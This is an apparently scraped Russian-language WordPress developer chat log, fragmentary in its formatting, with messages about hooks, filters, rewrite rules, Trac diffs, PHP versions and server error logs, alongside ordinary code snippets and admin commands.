<link rel='prev'
. Как бэ ничего глобального, но странный мусор.Это изменение было в 4.4: https://core.trac.wordpress.org/changeset/34496
Флектор прав -- проблема не в том, что canonical неверный (для страниц c <!--nextpage-->
он таким и должен быть), а в том, что нет редиректа с несуществующих подстраниц.
Точнее, редирект должен быть: https://core.trac.wordpress.org/changeset/34492, но там исправление неполное (насколько я помню) -- редирект срабатывает, только если в тексте страницы есть хотя бы один тег <!--nextpage-->
, а если его нет -- то не срабатывает.
Два вопроса созрело:
Указать актуальную версию PHP в качестве рекомендуемой, но при этом поддерживать совместимость с предыдущими версиями, пока это возможно, -- золотая середина) И попутно работать с хостинг-провайдерами, чтобы те постепенно переходили на актуальные версии, если ещё не сделали этого.
These are the packages that would be merged, in order:
[ebuild N ] dev-lang/php-7.1.0-r3:7.1::gentoo
root@MEI:~\# ps aux|grep php-fpm
root 2748 0.0 1.4 103752 14952 ? SNs 17:07 0:00 php-fpm: master process (/etc/jinx/fpm-5.6/php-fpm.conf)
root 2762 0.0 1.5 297192 16140 ? SNs 17:08 0:00 php-fpm: master process (/etc/jinx/fpm-7.1/php-fpm.conf)
enigma 3481 0.0 2.5 105500 26672 ? SN 17:10 0:00 php-fpm: pool eni-forum
phpsys 3490 0.0 1.5 104132 15680 ? S 17:13 0:00 php-fpm: pool phpsys
iwork 5297 0.0 3.1 299636 32084 ? SN 17:40 0:00 php-fpm: pool iWork
И это при том, что "каждая домохозяйка. может управлять ВП"..
А рекомендации -- на то и рекомендации, чтобы к ним стремиться)
Вот у нек. современные АТС и др телеком. оборудование снимается с гарантии если используется шнур питания (обычный, копутереный) не родной, с лейбой. И что это, правильный подход?
В тикете именно подобная петиция и предлагалась: https://core.trac.wordpress.org/ticket/33381
Ведущие разработчики не хотят перекладывать процесс пинания хостеров на плечи пользователей, предпочитают делать это сами) https://core.trac.wordpress.org/ticket/33381#comment:30
Так было до версии 3.1 включительно, и некоторые релизы растягивались более чем на год, потому что всегда хотелось добавить что-то ещё или находились существенные недоработки в недавно добавленном.
Потом перешли на регулярные релизы раз в три-четыре месяца, что не успели -- переходит в следующий или на неопределённый срок после доработки.
Надеюсь, в новой схеме предыдущий опыт как-то будет учтён) К счастью, сейчас разработчиков в несколько раз больше, и почти у каждого компонента есть ответственные.
yui@haineko:~$ for i in ` echo mei iniel yuna lilicia ` ; do ssh $i ls -lh /usr/local/jinx/bin/php-fpm\*; done
-rwxr-xr-x 1 root root 4.9M Dec 9 10:37 /usr/local/jinx/bin/php-fpm5.6
-rwxr-xr-x 1 root root 4.8M Dec 8 21:24 /usr/local/jinx/bin/php-fpm7.0
-rwxr-xr-x 1 root root 4.8M Dec 2 09:39 /usr/local/jinx/bin/php-fpm7.1
-rwxr-xr-x 1 root root 4.3M Dec 28 00:10 /usr/local/jinx/bin/php-fpm5.4
-rwxr-xr-x 1 root root 4.9M Nov 19 05:12 /usr/local/jinx/bin/php-fpm5.5
-rwxr-xr-x 1 root root 4.9M Dec 9 07:36 /usr/local/jinx/bin/php-fpm5.6
-rwxr-xr-x 1 root root 4.7M Dec 8 15:59 /usr/local/jinx/bin/php-fpm7.0
-rwxr-xr-x 1 root root 4.7M Dec 9 21:02 /usr/local/jinx/bin/php-fpm7.0
-rwxr-xr-x 1 root root 4.8M Dec 2 09:33 /usr/local/jinx/bin/php-fpm7.1
-rwxr-xr-x 1 root root 4.9M Nov 19 08:13 /usr/local/jinx/bin/php-fpm5.5
-rwxr-xr-x 1 root root 4.9M Dec 9 10:37 /usr/local/jinx/bin/php-fpm5.6
-rwxr-xr-x 1 root root 4.7M Dec 8 19:00 /usr/local/jinx/bin/php-fpm7.0
На https://wordpress.org/about/requirements/ как раз и написан абзац-другой, включая шаблон письма хостеру.
Страница существует уже 13 лет и в обозримом будущем никуда не денется -- по-моему, это лучше, чем одноразовое обращение в виде поста, который через пару недель уйдёт в небытие.
Такой пост, кстати, был при переходе от PHP 4.x к 5.2.x:
https://wordpress.org/news/2011/07/are-you-ready-for-wordpress-3-2/
https://ru.wordpress.org/news/2011/07/готовы-ли-вы-к-wordpress-3-2/
Но я что-то не припомню, чтобы в него кто-то тыкал как в преимущество)
> на ru. нет этой странички
Теперь есть) https://ru.wordpress.org/about/requirements/
Пока добавил ссылку в раздел "Установка" на главной (в самом низу).
Там практически все строки используются только в админке, а те, что на внешней части сайта, обычно задаются темой.
a
и strong
. Да и а
тоже чистится.strong
не особо выделяется.Видимо, ответственные за ключевые компоненты релиза:
https://make.wordpress.org/core/2017/01/04/focus-tech-and-design-leads/
register sidebars
в description
не работает переменная %d
? Или там можно что-то другое использовать?sprintf()
только для параметра name
: https://core.trac.wordpress.org/browser/tags/4.7/src/wp-includes/widgets.php?marks=156-159,173#L153Можно что-нибудь такое сделать, тогда должно работать и в description
:
```
function insert_sidebar_number_into_description( $sidebar ) {
global $wp_registered_sidebars;
$i = array_search( $sidebar['id'], array_keys( $wp_registered_sidebars ) ) + 1;
$wp_registered_sidebars[ $sidebar['id'] ]['description'] = sprintf( $sidebar['description'], $i );
}
add_action( 'register_sidebar', 'insert_sidebar_number_into_description' );
```
[17:26] 
and some image types as well
[17:26] 
I’m not sure if Core prefers separate tickets for all the different types
[17:26] 
I’ve seen two so far
[17:26] 
the one above (39550) and:
[17:34] 
wrong mimetype
[17:34] 
mimetype and exif not matching
joemcgill [17:52] 
Guilty
https://wordpress.org/showcase/flavor/wordpress-ms/
Из русских -- http://selfgrowth.ru/, других не припомню)
Где-то я уже это видел, на взлом не похоже.
Маякнуть можно, только что они должны сделать? Удалить ссылку из https://wordpress.org/themes/commercial/? Сами темы вряд ли будут из-за этого удалять.
syntax error, unexpected '}'
Хотя вроде все правильно со скобками.А какая версия PHP? Проверил на 7.x, работает нормально.
Можно анонимную функцию переделать в обычную:
function my_hotkeys() { ?>
<script>
...
</script>
<?php
}
add_action( 'after_wp_tiny_mce', 'my_hotkeys' );
А второй, wordpress-keyboard-shortcuts?
Ещё такой нашёл: https://github.com/malithmcr/Quick-Save-WP
Пока всё так же: https://core.trac.wordpress.org/ticket/15955
Есть ещё один похожий тикет: https://core.trac.wordpress.org/ticket/22363, там предлагается имена файлов обрабатывать так же, как и ярлыки записей (убирать диакритику и т.п.) -- я ещё не тестировал последние патчи, но для кириллицы они, по-моему, не подходят, только для европейских языков.
Да, нужно будет либо добавлять настройку (что вряд ли, т.к. "decisions, not options"), либо определять, что на сайте уже используются транслитерированные ярлыки, и активировать функцию только в этом случае. А если кто-то захочет перейти на транслитерацию позже -- то через какой-нибудь фильтр, тогда достаточно будет одной строки кода вместо плагина.
Можно и так, вроде для плагинов импорта используется какой-то похожий механизм.
Для большинства локалей все необходимые изменения уже были внесены в ядро: https://core.trac.wordpress.org/ticket/19603 (мелкие CSS-правки и т.д.), но осталось несколько более сложных, включающих в дистрибутив отдельные файлы и плагины.
Минус в том, что для этого нужно скачивать дистрибутив именно с локального сайта, а если скачать английский и выбрать язык при установке, то этих файлов там не будет: https://core.trac.wordpress.org/ticket/30357
В идеале должен быть какой-то общий механизм, который и оставшиеся локали позволит полностью интегрировать.
Точнее, там после установки сразу будет предложение обновиться, тогда дистрибутив скачается с локального сайта: https://core.trac.wordpress.org/ticket/30357#comment:1
Дистрибутив тогда не сможет собираться автоматически, как у большинства локалей: https://make.wordpress.org/polyglots/handbook/translating/packaging-localized-wordpress/automated-release-packages/, но я и так почти всегда собираю вручную сразу после выхода англоязычного, т.к. автоматическая сборка почему-то только через несколько часов запускается.
Единственное -- после установки англоязычного дистрибутива с русским языком сразу будет предложение обновиться, что не очень хорошо.
gettext
проще всего. Но там несколько разных заголовков -- нужен taxtitle
или posttypetitle
?register_taxonomy
, тогда это не проблема, это поменять легко.taxtitle
из функции feed_links_extra()
: https://translate.wordpress.org/projects/wp/dev/ru/default?filters%5Bstatus%5D=either&filters%5Boriginal_id%5D=2357822&filters%5Btranslation_id%5D=42238267Примерно так можно поменять:
```
function custom_feed_title( $translation, $text, $domain ) {
if ( '%1$s %2$s %3$s %4$s Feed' === $text && 'default' === $domain ) {
$translation = 'Новый заголовок';
}
return $translation;
}
add_filter( 'gettext', 'custom_feed_title', 10, 3 );
```
Можно и без фильтра, кстати -- отключить автоматическое добавление:
remove_action( 'wp_head', 'feed_links_extra', 3 );
и добавить вручную внутрь <head>
с нужным аргументом:
feed_links_extra( array( 'taxtitle' => 'Нужный заголовок' ) );
IMG_0160-200x133.jpg 200x133 24bit P Exiff ICC IPTC XMP JFIF [OK] 79780 --> 11314 bytes (85.82%), optimized.
IMG_0160-200x140.jpg 200x140 24bit P Exiff ICC IPTC XMP JFIF [OK] 80036 --> 11625 bytes (85.48%), optimized.
IMG_0160-640x427.jpg 640x427 24bit P IPTC Exiff ICC XMP JFIF [OK] 163594 --> 78473 bytes (52.03%), optimized.
IMG_0160-660x440.jpg 660x440 24bit P Exiff ICC IPTC XMP JFIF [OK] 138214 --> 79248 bytes (42.66%), optimized.
RedirectMatch 301 /nazvanie-moego.* [http://site.ru/nazvanie-moego-super-interesnogo-posta/](http://site.ru/nazvanie-moego-super-interesnogo-posta/)
RedirectMatch
для таких целей не очень подходит, можно так:
RewriteCond %{REQUEST_URI} !^/nazvanie-moego-super-interesnogo-posta
RewriteRule ^nazvanie-moego.* /nazvanie-moego-super-interesnogo-posta/ [R=301,L]
[http://site.ru/nazvanie-moego-super-interesnogo-posta/bla-bla-bla](http://site.ru/nazvanie-moego-super-interesnogo-posta/bla-bla-bla)
:disappointed:[http://site.ru/nazvanie-moego-bal-bla-bla](http://site.ru/nazvanie-moego-bal-bla-bla)
, то работает.RewriteCond %{REQUEST_URI} !^/nazvanie-moego-super-interesnogo-posta/$
RewriteRule ^nazvanie-moego.* /nazvanie-moego-super-interesnogo-posta/ [R=301,L]
Как получить id элемента меню, который привязан к текущей странице? Запросить по мете _menu_item_object_id
или есть более удачный вариант?
$menu_items = wp_get_nav_menu_items( 'main-menu' );
$this_item = current( wp_filter_object_list( $menu_items, array( 'object_id' => get_queried_object_id() ) ) );
_menu_item_object_id
, а я чего-то не смог её нагуглить :disappointed:p.
(p2
, p3
)? Это для мультисайта запрос или это разные БД в одном запросе или что? Код: $wpdb->get_results("SELECT p.ID FROM wp_posts p JOIN wp_postmeta p2 ON p.ID=p2.post_id JOIN wp_postmeta p3 ON p.ID=p3.post_id
p
- вот чего я не пойму. В обычном запросе их же вообще нет SELECT ID FROM wp_posts и тд
p.ID
, p2.meta_value
вместо wp_posts.ID
, wp_postmeta.meta_value
. Используется обычно в больших запросах на несколько таблиц, чтобы сделать их более читаемыми.pm
вместо p2
, тогда ясно, что это postmeta
.meta_value
. В таблице wp_postmeta он 4й...p2.meta_value
= pm.meta_value
= bla.meta_value
? Ну т.е. полностью на усмотрение разработчика? Строгих правил именования нет?wp_posts
в следующих частях запроса можно обращаться как к p
.class.SSLInsecureContentFixerAdmin.php: // and PCRE needs to be v8+ or we break! e.g. \K not present until v7.2 and some sites still use v6.6!
From:
и To:
пути к версиям (есть автоподстановка), номер ревизии оставить последний в обоих полях.From:
и To:
пути к версиям (есть автоподстановка), номер ревизии оставить последний в обоих полях. The Base for Diff is invalid: No node basic/1.2.3/comments.php at revision 68071
: https://themes.trac.wordpress.org/changeset?old=68071&old_path=basic%2F1.2.3%2Fcomments.php&new=71859&new_path=basic%2F1.2.3%2Fcomments.phpold
должен быть номер последней ревизии -- 71859, а не 68071.old_path
должен быть предыдущий файл -- basic/1.2.2/comments.php
, а не basic/1.2.3/comments.php
.Правильная ссылка:
https://themes.trac.wordpress.org/changeset?old=71859&old_path=basic%2F1.2.2%2Fcomments.php&new=71859&new_path=basic%2F1.2.3%2Fcomments.php
old
должен быть номер последней ревизии -- 71859, а не 68071.Ключевой момент -- проверить пути, чтобы в From:
был старый файл, а в To:
-- новый.
No node basic/1.2.3/comments.php at revision 68071
Тут говорится, что в ревизии 68071 просто нет каталога basic/1.2.3
(он добавлен в 71859), поэтому не с чем сравнивать.
Есть сравнение одного файла между разными ревизиями:
https://themes.trac.wordpress.org/wiki/TracChangeset#ExaminingDifferencesBetweenRevisions
и есть сравнение файлов между разными ветками:
https://themes.trac.wordpress.org/wiki/TracChangeset#ExaminingDifferencesBetweenBranches
Нужен именно второй вариант, поскольку в репозитории тем каждая версия темы сразу попадает в отдельный каталог.
trunk
и только потом помечается тегом с номером версии и копируется в отдельный каталог -- тут такого нет, поэтому сравнивать нужно разные каталоги между собой, а не разные ревизии одного и того же файла.View changes
вот что http://i.imgur.com/4KXt5Gg.pngТут не в полной мере используется контроль версий. Архив с новой версией темы распаковывается сразу в отдельный каталог, без связи с предыдущими, т.е. у файлов просто нет предыдущей ревизии, каждый файл считается новым (потому и выдаётся ошибка).
Видимо, сделано так, чтобы авторам тем не приходилось осваивать тонкости SVN, как авторам плагинов, а достаточно было просто загрузить архив. При загрузке автоматически создаётся комментарий к тикету темы, с готовой ссылкой "Diff with previous version": https://themes.trac.wordpress.org/ticket/32755#comment:11 (пример)
Согласен, что не совсем удобно из интерфейса сравнения ревизий переходить к сравнению различий между каталогами -- но часто ли пользователи это делают? А те, кто занимается проверкой тем, сразу видят готовую ссылку.
Trac -- это отдельный проект, никак не связанный с WordPress: https://trac.edgewall.org/. Все пожелания по улучшению интерфейса можно направлять туда)
wporg-bbp-*
, ну и сам bbPress.В перспективе надо форум прикрутить к https://github.com/WordPress/meta-environment, но я ещё недостаточно разобрался с VVV)
header.php
и footer.php
-- я уже не помню, где их взял (наверное, просто скопировал HTML прямо из браузера), сейчас выложу куда-нибудь.И несколько констант в wp-config.php
:
``
header.php
define('WPORGPATH', dirname(__FILE__) . '/wp-content/wporg/' ); // Сюда надо положитьи
footer.php`
define('WPORG_SUPPORT_FORUMS_BLOGID', 1);
define('WPORG_PLUGIN_DIRECTORY_BLOGID', 1);
define('WPORG_THEME_DIRECTORY_BLOGID', 1);
```
header.php
из wporg
есть строка require WPORGPATH . 'header.php';
, т.е. они из какого-то общего каталога подключаются -- в репозитории его вроде нет.body_class()
, wp_head()
и wp_footer()
, поэтому лучше брать те, что выше выложил)sites/trunk/wordpress.org/public_html/wp-content/plugins
.
support-forums
wporg-bbp-codexify
wporg-bbp-redirect
wporg-bbp-term-subscription
wporg-bbp-topic-archive
wporg-bbp-topic-resolution
wporg-bbp-user-badges
wporg-bbp-user-moderation
wporg-bbp-version-dropdown
bbPress - Support (Index)
(page-homepage.php
).Потом создать несколько тестовых форумов, тем и ответов) Вроде всё, если ещё что-то вспомню -- добавлю)
forums
на support
для полного сходства, хотя должно работать и без этого)Uncaught Error: Call to undefined function WordPressdotorg\\Forums\\Version_Dropdown\\bbp_is_topic_form_post_request() in /var/www/wordpressorg.local/public_html/wp-content/plugins/wporg-bbp-version-dropdown/inc/class-plugin.php:62
support-forums
wporg-bbp-codexify
wporg-bbp-term-subscription
wporg-bbp-topic-resolution
wporg-bbp-user-badges
wporg-bbp-user-moderation
bbp_is_topic_form_post_request()
-- это из самого bbPress, у меня версия 2.6-beta-2 (trunk), там она есть.На форумах именно оттуда версия.
Я пока могу коммитить только тему, для плагинов можно писать патчи и ждать, пока их закоммитит coffee2code) Но он достаточно оперативно это делает.
git diff
вроде подходит: https://make.wordpress.org/core/handbook/contribute/git/ (там для WordPress, но принцип тот же).Но не все ссылки. Это что за механизм и от чего зависит?
status = 'archived'
из всех запросов, если мы не на странице темы.publish
, т.к. оно считает не только archived
, но и waiting
и spam
. (Не копал ещё какие статусы в bbpress).$reply_position = get_post_field( 'menu_order', $reply_id );
Вероятно, walker обновлял эти значения.$reply_position
как-то участвует, или только при просмотре темы?$reply_page = ceil( (int) bbp_get_reply_position( $reply_id, $topic_id ) / (int) bbp_get_replies_per_page() );
publish
и подменить значение.has-patch
, чтобы отправились уведомления тем, кто подписан на тикет или на общий лист рассылки meta) (Если просто загрузить, то уведомлений нет.)Есть списки "My Tickets", "My Patches" и несколько других: https://meta.trac.wordpress.org/report
Сейчас они работают на той же инсталляции, что и англоязычные, поэтому большинство новых тикетов создаются в "Support Forums" и относятся ко всем форумам.
Но иногда попадается и что-то конкретно для локализованных: https://meta.trac.wordpress.org/ticket/2450
> Его как-то нужно указать, что патч относится и к нему?
Да, можно оставить комментарий, что в #2043 есть патч, связанный с этой проблемой или решающий её полностью)
3 years ago
Чую оно может быть уже не актуально)Почему? По описанию и скриншотам вроде подходит, есть виджет для выбора сортировки.
the_excerpt
, а не только the_content
...the_excerpt
, а не только the_content
...before_content
и after_content
: https://core.trac.wordpress.org/ticket/10976header_after
, post_after
, comment_after
, footer_after
: https://core.trac.wordpress.org/ticket/21506К единому мнению не пришли -- плагины эти хуки использовать не смогут, т.к. в текущих темах их нет, а темам незачем их добавлять, пока плагины их не используют. Получается как с курицей и яйцом)
the_content
(похожие записи напр), либо требуют правки шаблонов (хлеб крошки). А то что сейчас в темах нет - не беда. Пускай разрабы плагов пишут как править шаблоны.herman
, а не herman-uri-httpthemeisle-comthemeszerif-lite
(при этом не поменяв название в других местах) -- сразу видно человека, который в первый раз что-то загружает.В ядре он вроде не используется, но теоретически может использоваться плагинами:
https://wordpress.stackexchange.com/questions/23169/what-is-term-group-for-order-by-in-get-terms
https://wordpress.org/support/topic/term-group-column/#post-835250
Я ещё не успел проверить, сейчас работаю над этими двумя:
https://meta.trac.wordpress.org/ticket/2070
https://meta.trac.wordpress.org/ticket/2493
add_action('wp_login', array($this, 'user_login'), 10, 2);
?$this
:slightly_smiling_face:$object = new ja_disable_users();
remove_action('wp_login', array($object, 'user_login'), 10, 2);
$GLOBALS['debug_bar'] = new Debug_Bar();
-- то всё супер)Если нет -- new ja_disable_users();
-- то всё сложнее... Вариант с созданием нового экземпляра, по-моему, не сработает, приходилось напрямую из $wp_filter
удалять.
$wp_filter
удалять.@fierevere looks like got Togo back to WP :)
0 replies 0 retweets 0 likes
```Due to a getrandom() detection bug, php-7.0.16 doesn't work with older
pre-3.17 Linux kernels. Let's put 7.0.15 back until that is resolved.
The best reference I have at the moment is the discussion on the
upstream commit:
https://github.com/php/php-src/commit/14c72cc5824d5fa472b79b7216a01be0918ccc5d
Gentoo-Bug: 574238```
epic fail
Это какое-то сокращение на английском?)
status
, вместо statuses
:slightly_smiling_face:Может, скриптом, а не вручную, но в любом случае пока не сразу, а через какое-то время)
Там, помоему, нечему особо некорректно работать) Поэтому, думаю, нормально работает.
ты к чему это спрашивал?
Yui ( 13:26:35 )
я ни на один из доменов аскона не делала https
и даже сертификат не получала
DRUPPI ( 13:26:38 )
это сложно сделать*
Yui ( 13:26:51 )
это нужно сделать? зачем?
DRUPPI ( 13:27:35 )
ебанько просило сделать ... как всегда для "гугла/яндекса/индексации"
Yui ( 13:28:14 )
этот кьеган но канэ хочет перевести сайт(ы) на https ради мифа о том что оно якобы лучше индексируется?```
wp_termmeta
, куда можно записать _wp_old_slug
.sh* и везде где есть *Э* после транслита в слове где была эта буква ставится:
Total 1.098
</pre></body></html>```
бенчмарк ВКонтакте, PHP CLI
Total 0.713```
тот же бенчмарк на том же сервере, PHP-FPM
Warning uasort(): Array was modified by the user comparison function в wp-includes/class-wp-theme.php:1448
Как я понимаю - как раз из-за хостинга, но не пойму в чём именно проблема. PHP 5.6, WP 473. Скрин с QM нижеРегулярно туда захожу, но этой ошибки не видел) Судя по тикету, её не так просто воспроизвести: https://core.trac.wordpress.org/ticket/34565
<?php
function comp($a,$b){
@new Exception("dupa");
}
$a =array(1,2,3);
usort($a, 'comp');
var_dump($a);
?>
Вроде это частично упоминалось в существующих тикетах, надо искать и писать патчи.
Сайт ru.wordpress.org был создан осенью 2007 года, и первой опубликованной на нём версией стала 2.3.1.
Предыдущие версии были допереведены и опубликованы позже задним числом) https://ru.wordpress.org/support/topic/Переводы-прежних-версий/
В таблице стоит дата сборки архива, изменить её нет возможности.
Что такое Select2 ? Об чём это
Насколько я понял -- версию 1.0.0 закрыли, потому что по новым правилам в очереди может находиться не больше одной темы от каждого автора, а версию 1.0.3 -- то ли потому что на тот момент в очереди всё ещё была какая-то другая тема, то ли просто по инерции) Можно уточнить в #themereview.
Правила может и странные, но эффективные, раньше тикеты могли ждать рассмотрения по полгода, а сейчас самому старому тикету шесть недель.
wordmove pull -e production -u -d
wordmove push -e production -d
--http=<http>
Perform operation against a remote WordPress install over HTTP.```
cURL support enabled
cURL Information 7.29.0
Age 3
Features
AsynchDNS Yes
CharConv No
Debug No
GSS-Negotiate Yes
IDN Yes
IPv6 Yes
krb4 No
Largefile Yes
libz Yes
NTLM Yes
NTLMWB Yes
SPNEGO No
SSL Yes
SSPI No
TLS-SRP No
Protocols dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtsp, scp, sftp, smtp, smtps, telnet, tftp
Host x86_64-redhat-linux-gnu
SSL Version NSS/3.21.3 Basic ECC
ZLib Version 1.2.7
libSSH Version libssh2/1.4.3
Учтите, что файлы php.ini, поставляемые с дистрибутивом, по соображениям безопасности не содержат значение 'C' (cookies). ```
Исключение составляет Twenty Sixteen, она разрабатывалась на GitHub и там пока и осталась: https://github.com/WordPress/twentysixteen -- было обсуждение о том, чтобы перенести её тоже в Trac, чтобы не было путаницы, но не помню, чем закончилось)
В данных адресах ошибки нет -- если бы они отвалились, то проблемы были бы не в одной теме для WordPress, а по всему интернету)
С https://fonts.googleapis.com/css всё ОК, там просто должно быть указано имя шрифта, и в теме оно указано: https://fonts.googleapis.com/css?family=Lato%3A300%2C400%2C700%2C900%2C300italic%2C400italic%2C700italic&subset=latin%2Clatin-ext
С https://fonts.gstatic.com тоже всё ОК, там должно быть указано имя файла: https://fonts.gstatic.com/s/lato/v13/dPJ5r9gl3kK6ijoeP1IRsvY6323mHUZFJMgTvxaG2iE.woff2 -- оно указано в блоках @font-face
в таблице стилей, загружаемой с https://fonts.googleapis.com/css.
В теме этот адрес используется в виде <link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
в соответствии с рекомендациями Google: https://core.trac.wordpress.org/ticket/37171#comment:7
URL в данной строке хоть и не открывается напрямую, но и не должен, т.к. это инструкция для браузера о предварительном подключении к домену, а не обычная ссылка.
У всех свои причуды -- видимо, когда-то захотелось создать интригу вокруг нового релиза, а теперь это стало традицией)
[Wed May 24 04:55:25.266122 2017] [lsapi:error] [pid 24802] Backend error on sending request(POST /wp-cron.php?doing_wp_cron=1495590624.4567940235137939453125 HTTP/1.0); uri(/wp-cron.php?doing_wp_cron=1495590624.4567940235137939453125) content-length(0) (lsphp is killed?): ReceiveAckHdr: nothing to read from backend socket, referer: [http://xxxxxxxxxxxx/wp-cron.php?doing_wp_cron=1495590624.4567940235137939453125](http://xxxxxxxxxxxx/wp-cron.php?doing_wp_cron=1495590624.4567940235137939453125)
Интересно, а почему get_template_directory_uri
, а не get_stylesheet_directory_uri
?
./sapi/cgi/php-cgi -c /home/yui/wrk/php-pro/php7.ini -T100 /home/yui/wrk/php-pro/wp/index.php
оперативненько на форуме вопросы появились.
А вот под списком -- была, но теперь отображается, только если в спаме или корзине больше одной страницы комментариев.
Это баг, создал тикет: https://core.trac.wordpress.org/ticket/40975
Yui, спасибо за помощь. Я только вспомнил, что действительно отключал REST API. Путем добавления скрипта в файл functions.php. Из за этого REST API было очень много мусорных страниц в Яндекс.Вебмастере.А сейчас пробовал все вернуть назад, но не получается. Ну и ладно. Пожертвую виджетом «Видео»))
Ответ в теме: не отправляет письма с contact form 7
18:06:05 от zahidkurort
я свою проблему решил так !!! откатил CF7 до 4.7 — и все заработало!!
Sergey Biryukov был прав CF7 4.8 использует REST API — а у меня он отключён 🙂
```
REST-API-ненавистники
Getting up and running with WordPress, for the uninitiated, can be a long process. ```
Because Ghost offers an official hosted service, you can have a new blog up and running in the space of about 3 clicks
<!--more произвольный текст -->
. Если выводить в архивном шаблоне the_content
-oм то всё ОК - этот анкор появляется под ссылкой. Если же the_expert
-том, то он не учитывается и подставляется дефолтный текст "читать далее". Если не ошибаюсь - это из-за того, что вообще вырезается html-коммент more
.the_expert
, чтобы заданный произвольный текст выводился?remove_filter( 'the_content', 'wpautop' );
add_filter( 'the_content', 'wpautop' , 12);
2017-05-30 23:23:34 2722541376 [ERROR] mysqld: Table './phpbb/phpbb_posts' is marked as crashed and should be repaired
2017-05-30 23:23:34 2722541376 [Warning] Checking table: './phpbb/phpbb_posts'
2017-05-30 23:25:30 2721050432 [ERROR] mysqld: Table './remex/zr_options' is marked as crashed and should be repaired
2017-05-30 23:25:30 2721050432 [Warning] Checking table: './remex/zr_options'
2017-05-30 23:38:25 2722541376 [ERROR] mysqld: Table './cuba/box2_options' is marked as crashed and should be repaired
2017-05-30 23:38:25 2722541376 [Warning] Checking table: './cuba/box2_options'
В Южном IT-парке обещали предоставить помещение, осталось найти тех, кому интересен WordPress, и подготовить пару докладов)
<i class="fa fa-phone"></i>
. Такое ощущение, что сам шрифт к редактору не подключился. Как его подключить? add_action('admin_enqueue_scripts', 'my_admin_style');
Мож надо как-то ещё и отдельно к редактору?function my_admin_style() {
wp_enqueue_style('my_admin_style', get_stylesheet_directory_uri() . '/admin-style.css', array( ) );
wp_enqueue_style( 'font-awesome', '//maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css' );
add_editor_style( 'admin-style.css' );
}
add_action('admin_enqueue_scripts', 'my_admin_style');
function my_admin_style() {
wp_enqueue_style('my_admin_style', get_stylesheet_directory_uri() . '/admin-style.css', array( ) );
wp_enqueue_style( 'font-awesome', '//maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css' );
add_editor_style( 'admin-style.css' );
add_editor_style( '//maxcdn.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css' );
}
add_action('admin_enqueue_scripts', 'my_admin_style');
div class=""
Что делать то?)
<div class="external-reference">
<div class="external-reference-body">Хтонический миф изменяем. Фабульный каркас продолжает определенный фронт в полном соответствии с законом Дарси. Карбонат кальция неравномерен. Иными словами, эзотерическое однократно. Солифлюкция периодически трансформирует феномер "психической мутации". Включение дает композиционный профиль как при нагреве, так и при охлаждении.</div>
<div class="external-reference-name"><span class="link">Криэйтор</span></div>
<div class="external-reference-source">http://vesna.yandex.ru/</div>
</div>
А сунуть изображение в блок можно и стандартно. Но можно и добавить в попап
p
, a
, hr
и тд.p
? Это с реального сайта, котоый я переделываю.categpory
из урл. Посмотрел в натройки и деактивировал. А через полчаса пишет клиент о появившейся проблеме. Я не сразу подумал про YAST - первы делом менял темы - нет, на всех проблема. Случайно заметил наличие/отсутствие categpory и тогда только подумал про YAST. Оптья включил - всё нормально. Выключил - опять косяк. Я в шоке... начал проверять на другом тестовом - всё нормально.Strip the category base (usually /category/) from the category URL.
А
с тильдой сверху? Есть у кого предположения? http://i.imgur.com/sEhbVUj.pngFatal error: Uncaught Error: Call to undefined function mb_regex_encoding() in /sandbox/sandbox3/wp-content/plugins/gutenberg/lib/parser.php
С 1 июля 2017 года стоимость доменов в зонах .ru и .рф Советом Координационного центра национального домена сети интернет (КЦ) повышена на 70%
С 1 июля 2017 года стоимость доменов в зонах .ru и .рф Советом Координационного центра национального домена сети интернет (КЦ) повышена на 70%, в связи с этим и мы вынуждены внести изменения. Таким образом, регистрация и продление доменов в зонах .ru и .рф составляет с сегодняшнего дня 225 рублей.
register_widget()
из functions.php
, стили из style.css
и фрагмент с wp.mediaelement.initialize()
из js/functions.js
, тогда должно)Отправил заявку в каталог) Стили пока не добавлял, они там подходят только к Twenty Fourteen. В других стандартных темах вроде и так неплохо выглядит, потом при необходимости можно доработать.
Integer overflow in the range filter
Severity: medium
Advisory
CVE-2017-7529
Not vulnerable: 1.13.3+, 1.12.1+
Vulnerable: 0.5.6-1.13.2
Это было в 2003 году: https://ma.tt/2003/01/the-blogging-software-dilemma/#comment-445
И ничего, что Майк Литтл из Великобритании?)
Интересное выражение, надо запомнить)
> «Duke» в честь великого Дюка Еллингтона
Забыли о букве "Э")
> слияние WordPress и WordPress Mu, который раньше был плагином
WPMU был отдельным форком движка, а не плагином...
Хорошая статья, если не придираться) Видимо, проверять факты перед публикацией сейчас уже не модно)
А что такое странное с расписанием?) Не до конца расставили или это новый формат?
Тут повторение "экземпляра" не нужно, просто "добавить редактор". В остальном ОК)
С дополнением TinyMCE в текстовых виджетах, в 4.8 также был добавлен новый JavaScript API для создания экземпляра редактора после загрузки страницы. Он может использоваться для добавления редактора в любую текстовую область и настройки её кнопками и функциями. Для авторов плагинов это просто замечательно!
Планируется, не успел в 4.8 :slightly_smiling_face:
<link rel="canonical" href="https://wptost.ga/privet-mir/43534/" />
это нехорошо, очень нехорошоЭм. Походу редактор для тем и плагинов решили улучшить, а не отключить?)
Если вынести в плагин, то у пользователей будет меньше стимула начать разбираться в коде.
А так увидели редактор, сломали сайт, пришли на форум, получили совет, починили сайт, узнали много нового)
Это, конечно, отбирает хлеб у некоторых специалистов, но позволяет специалистам сосредоточиться на более интересных задачах)
> Речь про интеграцию https://wordpress.org/plugins/codemirror-file-editor/ ?
Похоже на то: https://core.trac.wordpress.org/ticket/12423#comment:125
Тут текущий вариант: https://github.com/WordPress/codemirror-wp
Но если кому-то они всё-таки понадобились, то проще сделать первые шаги в этом направлении, не устанавливая отдельный плагин.
[17-Aug-2017 16:59:20] WARNING: [pool eni-wp] child 22575 said into stderr: "NOTICE: PHP message: PHP Warning: count(): Parameter must be an array or an object that implements Countable in /enigma/wordpress/wp-admin/includes/template.php on line 1447"
[17-Aug-2017 17:02:01] WARNING: [pool eni-wp] child 22575 said into stderr: "NOTICE: PHP message: PHP Warning: DOMDocument::loadHTML(): Unexpected end tag : img in Entity, line: 1 in /enigma/wordpress/wp-includes/widgets/class-wp-widget-text.php on line 121"
root@MEI:/var/tmp\# PHPUpdate 7.2.0b3-pro
